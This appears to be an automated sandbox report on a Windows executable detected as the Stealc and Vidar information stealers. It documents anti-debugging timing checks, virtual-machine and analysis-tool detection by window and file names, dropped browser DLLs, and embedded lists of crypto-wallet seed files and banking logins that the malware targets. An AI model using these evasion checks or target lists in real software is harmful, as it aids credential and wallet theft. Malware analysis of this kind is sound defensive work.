Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4FB7 second address: AA4FD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044531CA5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA00E0 second address: AA0102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F8044DEC464h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA0102 second address: AA010C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1F5E second address: AB1F62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0B5E second address: AC0B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0B64 second address: AC0B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC13C6 second address: AC13E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044531CA6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC185E second address: AC186A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F8044DEC456h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3080 second address: AC3084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3084 second address: AC309D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8044DEC45Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC592F second address: AC5935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5935 second address: AC5939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5A03 second address: AC5A09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5A09 second address: AC5A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5C65 second address: AC5C6A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5C6A second address: AC5C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jo 00007F8044DEC459h 0x00000010 movzx edx, si 0x00000013 push 00000004h 0x00000015 mov edx, esi 0x00000017 call 00007F8044DEC459h 0x0000001c je 00007F8044DEC45Ch 0x00000022 pushad 0x00000023 push esi 0x00000024 pop esi 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 push eax 0x00000029 push esi 0x0000002a push esi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5C9B second address: AC5CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 jmp 00007F8044531CA8h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7200 second address: AC7205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8BF1 second address: AC8BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8BF6 second address: AC8BFB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA649 second address: ACA64D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA64D second address: ACA651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA651 second address: ACA663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F8044531C96h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA663 second address: ACA674 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC45Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533033D second address: 5330343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53303A9 second address: 53303AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53303AF second address: 53303B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53303B3 second address: 5330413 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC45Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F8044DEC45Eh 0x00000011 mov ebp, esp 0x00000013 jmp 00007F8044DEC460h 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F8044DEC45Dh 0x00000022 or si, 2A06h 0x00000027 jmp 00007F8044DEC461h 0x0000002c popfd 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330413 second address: 5330419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9D78 second address: 9E9D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9D7F second address: 9E9DA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044531CA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8044531C9Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330C16 second address: 5330C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330C1A second address: 5330C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330C20 second address: 5330C5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC45Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx esi, di 0x0000000e movsx edx, cx 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F8044DEC465h 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8044DEC45Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330C5F second address: 5330CB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 pushfd 0x00000006 jmp 00007F8044531CA3h 0x0000000b sbb ch, 0000003Eh 0x0000000e jmp 00007F8044531CA9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a mov eax, 5A00EB23h 0x0000001f popad 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F8044531CA1h 0x00000028 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 841889 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 84194F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9DAA0B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 83F21A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9EE8DA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A61FBB instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005F4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_005EDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_005EE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_005EBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005E16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005EF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_005F3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005F38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_005F4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_005EED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005EDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005E1160 GetSystemInfo,ExitProcess,

0_2_005E1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: DBGIJEHI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000002.2354236515.000000000162E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareA
Source: DBGIJEHI.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: DBGIJEHI.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: DBGIJEHI.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: DBGIJEHI.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: DBGIJEHI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DBGIJEHI.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000002.2354236515.0000000001671000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: DBGIJEHI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: DBGIJEHI.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: DBGIJEHI.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: DBGIJEHI.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: DBGIJEHI.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: DBGIJEHI.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: DBGIJEHI.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: DBGIJEHI.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: DBGIJEHI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: DBGIJEHI.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: DBGIJEHI.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: DBGIJEHI.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: DBGIJEHI.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: DBGIJEHI.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: DBGIJEHI.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: DBGIJEHI.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: DBGIJEHI.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: DBGIJEHI.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: DBGIJEHI.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: DBGIJEHI.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2354236515.000000000162E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DBGIJEHI.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: DBGIJEHI.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: DBGIJEHI.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: DBGIJEHI.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-31441
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-31444
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-31456
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-31496
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-32631
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-31464

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005E45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_005E45C0

Source: C:\Users\user\Desktop\file.exe

0_2_005F9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F9750 mov eax, dword ptr fs:[00000030h]

0_2_005F9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_005F7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_6C68B66C

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3628, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_005F9600

Source: file.exe, file.exe, 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_005F7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_005F6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_005F7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_005F7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.5e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2122152470.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2354236515.000000000162E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3628, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3628, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
